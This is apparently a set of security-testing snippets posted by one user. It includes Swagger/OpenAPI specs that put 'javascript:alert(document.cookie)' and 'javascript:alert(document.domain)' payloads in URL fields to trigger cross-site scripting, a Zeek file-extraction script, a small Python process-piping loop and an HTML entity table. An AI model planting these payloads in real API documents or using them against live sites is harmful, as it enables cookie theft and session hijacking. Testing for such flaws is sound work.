danzajork

swagger: "2.0"
info: 
  title: "Swagger Sample App",
  description: "Please to click Terms of service"
  termsOfService: "javascript:alert(document.cookie)"
  contact: 
    name: "API Support",
    url: "javascript:alert(document.cookie)",
    email: "javascript:alert(document.cookie)"
  version: "1.0.1"

danzajork

swagger: '2.0'
securityDefinitions:
  a:
    type: oauth2
    authorizationUrl: javascript:alert(document.domain)//
info:
  version: "0.0.1"
  title: Example Title
  description: Please Authorize!
paths:

danzajork

import os
import subprocess

values = ['values', 'to', 'write', 'to', 'process']

for i in values:    
    p = subprocess.Popen('./forbidden.dms', stdin=subprocess.PIPE)
    p.communicate(i)

danzajork

##! Extract all files to disk.

@load base/files/extract

event file_new(f: fa_file)
{
	Files::add_analyzer(f, Files::ANALYZER_EXTRACT);
}

danzajork

&#060   |   less than sign  <       
&#064   |   at sign @       
&#093   |   right bracket   ]       
&#123   |   left curly brace    {       
&#125   |   right curly brace   }       
&#133   |   ellipsis    …       
&#135   |   double dagger   ‡       
&#146   |   right single quote  ’       
&#148   |   right double quote  ”       
&#150   |   short dash  –